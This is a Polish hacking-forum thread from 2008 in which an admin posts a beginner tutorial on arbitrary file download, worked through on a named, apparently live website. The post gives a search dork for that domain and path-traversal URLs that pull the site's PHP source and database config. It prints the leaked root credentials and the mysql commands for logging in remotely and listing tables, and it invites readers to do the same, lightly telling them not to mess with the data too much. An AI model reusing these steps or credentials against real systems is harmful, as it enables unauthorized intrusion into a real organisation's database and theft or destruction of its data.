Forum Haking & Security. Packetstorm Strona Główna
RejestracjaSzukajFAQUżytkownicyGrupyGalerieZaloguj
[tutorial] Arbitrary File Download

 
Odpowiedz do tematu    Forum Haking & Security. Packetstorm Strona Główna » FAQ, Tutorial's Zobacz poprzedni temat
Zobacz następny temat
[tutorial] Arbitrary File Download
Autor Wiadomość
WhoAmI
Admin



Dołączył: 13 Lip 2008
Posty: 68
Przeczytał: 0 tematów

Ostrzeżeń: 0/6
Skąd: Się biorą dzieci?
Płeć: Mężczyzna

Post [tutorial] Arbitrary File Download
Witam... Napisałem krótki tekst odnośnie AFD (luki typu Arbitrary File Download, czyli w wolnym tłumaczeniu "Pobranie Dowolnego Pliku") - dla początkujących w tej dziedzinie.
Tekst pisany na konkretnym (jeszcze żywym) przykładzie. Zanim zaczniemy chce prosić wszystkich czytelników, że gdy już będą mieli nieograniczony dostęp do zasobów bazy, żeby nie mieszali zanadto (aby inni czytelnicy też mogli skorzystać). I żadnego usuwania!

Tekst służy wyłącznie celom edukacyjnym (bo przecież nie dzikiej rozrywce Wink


Kod:
Jednak do rzeczy - mamy serwis (prawdziwy, jednak użyjemy go do celów edukacyjnych oczywiście ;):

[link widoczny dla zalogowanych]

Pierwszym sposobem jest sprawdzenie strony (pod kątem występowania AFD) na piechotę - wtedy interesują nas szczególnie skrypty o nazwach takich jak getfile.php, file.php, download.php które jako parametr przyjmują ścieżkę do pliku (najczęściej jest to ścieżka względna). Mamy taki skrypt na tej stronie:

[link widoczny dla zalogowanych] plik]

Drugim sposobem jest sprawdzenie podatności na AFD używając Google'a - wyszukujemy wtedy ewentualne URLe które mogą nam wskazywać w którym skrypcie występuje podatność:

poszukujemy kilku słów kluczowych w jednej frazie:

inurl:agropark.dk (getfile.php OR file.php OR get.php OR download.php OR display.php OR url.php OR data.php)

(przynajmniej ja tak to czynię i dość często się udaje)


Wiemy już, że skrypt podatny jest na AFD - możemy pobrać skrypt PHP (bez jego wykonania przez parser) wraz z zawartością (czyli kodem PHP). Spróbujmy zatem pobrać kod strony głównej (index.php):

http://www.agropark.dk/getfile.php?filen=../index.php

po pobraniu zawartości index.php widzimy includowanie pliku "connect.php" z (prawdopodobnie) konfiguracją połączenia do bazy danych.

http://www.agropark.dk/getfile.php?filen=../connect.php

Rzeczywiście, w pliku 'connect.php' znajdowała się konfiguracja bazy danych. Mamy więc ustawienia bazy (odpowiednio adres bazy, login, hasło, nazwę bazy):


hostname = "localhost";
username = "root";
passwd = "poli10";
dbName = "agropark"


Łączymy się z bazą ze swojej maszyny (albo lepiej maszyny kolegi ;-) (przydałby się mysql zainstalowany) wykorzystując zdobyte dane (zwróćcie uwage, że adres bazy podany w skrypcie to 'localhost' (baza więc znajduje się na tym samym serwerze co strona więc my (łącząc się z naszego komputera musimy połączyć się ze zdalnym komputerem o adresie takim samym jak adres strony - czyli w naszym wypadku będzie to 'agropark.dk'):


C:\usr\mysql\bin>mysql.exe -h agropark.dk -u root -p
Enter password:poli10


...czekamy...

i gdy ukaże się nam tekst powitalny i znak zachęty:


Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 5392700 to server version: 4.1.12-standard

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql>


to jesteśmy w siódmym niebie ;> Najpierw wybieramy bazę poleceniem:

mysql> USE agropark;

(nazwę bazy znamy ze skryptu konfiguracyjnego)

Jeśli wszystko się udało, to mamy połączenie z bazą i mamy wybraną bazę na której działa serwis. Teraz wystarczy zaglądnąć jakie tabele siedzą w bazie przy pomocy polecenia:

mysql> SHOW TABLES;

Po chwili mysql wylistuje nam zawartość bazy (ukażą się wszystkie tabele w bazie). Powinno to wyglądać następująco:


mysql> show tables;
+-----------------------+
| Tables_in_agropark |
+-----------------------+
| best_andet_grupper |
| best_andet_indhold |
| best_grupper |
| best_indhold |
| bestyr_kalender |
| bestyr_vedtaegter |
| bestyr_vedtaegter_kat |
| bestyrelse |
| booking |
| booking_text |
| download |
| download_e |
| download_grp |
| download_grp_e |
| download_grp_uk |
| download_uk |
| drift |
| files |
| firma |
| ide |
| info |
| intkalender |
| intranet_tekst |
| kalender |
| kantinen |
| leverandor |
| link |
| linkref |
| linktype |
| mode |
| news |
| newsletter |
| nyhedsbrev |
| nyhedsbrev_tekst |
| opslagstavle |
| personer |
| picture |
| presse |
| pressen |
| site |
| site_e |
| site_files |
| site_uk |
| sprog |
| teaser |
| tekst |
| topmenu |
| topmenu_e |
| topmenu_uk |
| user |
| user2 |
| velkomstbog |
| virksomheder |
+-----------------------+
53 rows in set (0.06 sec)



Po tej operacji, znamy już nazwy tabel i możemy robić z nimi wszystko: modyfikować, usuwać, dodawać nowe (po co?;). My jedynie podejrzymy zawartość jednej z nich, niech to będzie tabela "link". Piszemy więc:

mysql> select * from link;

dostajemy zawartość tabeli przechowującej łącza do innych stron. OK... Tylko proszę Was - róbcie to z głową...., z głową.... jeśli już musicie mieszać ;>



Cytat:
Pozdrawiam wszystkich z DevilTeam!


Text skopiowany: "http://devilteam.pl/"
Autor: @HackedByLukas


Post został pochwalony 0 razy
Pią 10:02, 18 Lip 2008 Zobacz profil autora
Pastinho37




Dołączył: 18 Mar 2014
Posty: 4
Przeczytał: 0 tematów

Ostrzeżeń: 0/6
Skąd: Dobiegniew

Post
dzieki


Post został pochwalony 0 razy
Wto 22:27, 18 Mar 2014 Zobacz profil autora
Wyświetl posty z ostatnich:    
Odpowiedz do tematu    Forum Haking & Security. Packetstorm Strona Główna » FAQ, Tutorial's Wszystkie czasy w strefie EET (Europa)
Strona 1 z 1

 
Skocz do: 
Nie możesz pisać nowych tematów
Nie możesz odpowiadać w tematach
Nie możesz zmieniać swoich postów
Nie możesz usuwać swoich postów
Nie możesz głosować w ankietach


fora.pl - załóż własne forum dyskusyjne za darmo
Powered by phpBB © 2001, 2005 phpBB Group
Design by Freestyle XL / Music Lyrics.
Regulamin